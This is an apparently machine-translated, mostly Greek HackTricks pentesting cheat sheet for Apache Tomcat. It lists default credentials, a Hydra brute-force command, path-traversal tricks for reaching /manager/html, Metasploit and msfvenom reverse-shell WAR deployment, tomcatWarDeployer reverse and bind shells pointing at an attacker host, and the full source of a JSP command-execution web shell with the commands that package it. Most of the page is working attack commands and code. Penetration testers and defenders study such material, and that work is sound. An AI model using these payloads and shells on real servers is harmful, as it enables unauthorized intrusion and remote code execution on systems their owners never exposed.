Tomcat
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Discovery
- Συνήθως τρέχει στην θύρα 8080
- Κοινό σφάλμα Tomcat:
.png)
Enumeration
Version Identification
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί μια απλή εντολή:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου τεκμηρίωσης, αποκαλύπτοντας την έκδοση στον τίτλο της HTML απόκρισης.
Τοποθεσία Αρχείων Διαχειριστή
Η αναγνώριση των ακριβών τοποθεσιών των /manager
και /host-manager
καταλόγων είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται μια αναζήτηση brute-force για να εντοπιστούν αυτές οι σελίδες.
Αναγνώριση Ονομάτων Χρηστών
Για τις εκδόσεις Tomcat παλαιότερες από 6, είναι δυνατή η αναγνώριση ονομάτων χρηστών μέσω:
msf> use auxiliary/scanner/http/tomcat_enum
Προεπιλεγμένα Διαπιστευτήρια
Ο /manager/html
φάκελος είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει την ανέβασμα και ανάπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο φάκελος προστατεύεται από βασική HTTP αυθεντικοποίηση, με κοινά διαπιστευτήρια να είναι:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Ένας άλλος αξιοσημείωτος κατάλογος είναι /manager/status
, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στην αναγνώριση ευπαθειών.
Brute Force Attack
Για να επιχειρήσετε μια επίθεση brute force στον κατάλογο manager, μπορείτε να χρησιμοποιήσετε:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Κοινές Ευπάθειες
Αποκάλυψη Κωδικού Πρόσβασης μέσω Backtrace
Η πρόσβαση στο /auth.jsp
μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε ένα backtrace υπό ευνοϊκές συνθήκες.
Διπλή Κωδικοποίηση URL
Η ευπάθεια CVE-2007-1860 στο mod_jk
επιτρέπει τη διπλή κωδικοποίηση URL για διαδρομή, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαχείριση μέσω μιας ειδικά κατασκευασμένης διεύθυνσης URL.
Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat, πηγαίνετε στο: pathTomcat/%252E%252E/manager/html
/examples
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα scripts που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα scripts, που αναφέρονται εκτενώς, θα πρέπει να ελέγχονται για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε περισσότερες πληροφορίες εδώ
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Εκμετάλλευση Διαδρομής
Σε ορισμένες ευάλωτες ρυθμίσεις του Tomcat μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας τη διαδρομή: /..;/
Έτσι, για παράδειγμα, μπορεί να μπορείτε να πρόσβαση στη σελίδα διαχείρισης του Tomcat πηγαίνοντας: www.vulnerable.com/lalala/..;/manager/html
Ένας άλλος τρόπος για να παρακάμψετε τις προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο http://www.vulnerable.com/;param=value/manager/html
RCE
Τέλος, αν έχετε πρόσβαση στον Διαχειριστή Εφαρμογών Web του Tomcat, μπορείτε να ανεβάσετε και να αναπτύξετε ένα αρχείο .war (εκτέλεση κώδικα).
Περιορισμοί
Θα μπορείτε να αναπτύξετε ένα WAR μόνο αν έχετε αρκετά δικαιώματα (ρόλοι: admin, manager και manager-script). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο tomcat-users.xml που συνήθως ορίζεται στο /usr/share/tomcat9/etc/tomcat-users.xml
(διαφέρει μεταξύ εκδόσεων) (βλ. POST section).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Δημιουργήστε το war για ανάπτυξη:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
- Ανεβάστε το
revshell.war
αρχείο και αποκτήστε πρόσβαση σε αυτό (/revshell/
):
Bind και reverse shell με tomcatWarDeployer.py
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις του sun)
Κατεβάστε
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Αντίστροφη θήκη
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Χρησιμοποιώντας Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Manual method - Web shell
Create index.jsp with this content:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Μπορείτε επίσης να εγκαταστήσετε αυτό (επιτρέπει την αποστολή, λήψη και εκτέλεση εντολών): http://vonloesch.de/filebrowser.html
Manual Method 2
Αποκτήστε ένα JSP web shell όπως αυτό και δημιουργήστε ένα WAR αρχείο:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Το όνομα του αρχείου διαπιστευτηρίων Tomcat είναι tomcat-users.xml
και αυτό το αρχείο υποδεικνύει τον ρόλο του χρήστη μέσα στο tomcat.
find / -name tomcat-users.xml 2>/dev/null
Παράδειγμα:
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
Άλλα εργαλεία σάρωσης tomcat
Αναφορές
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.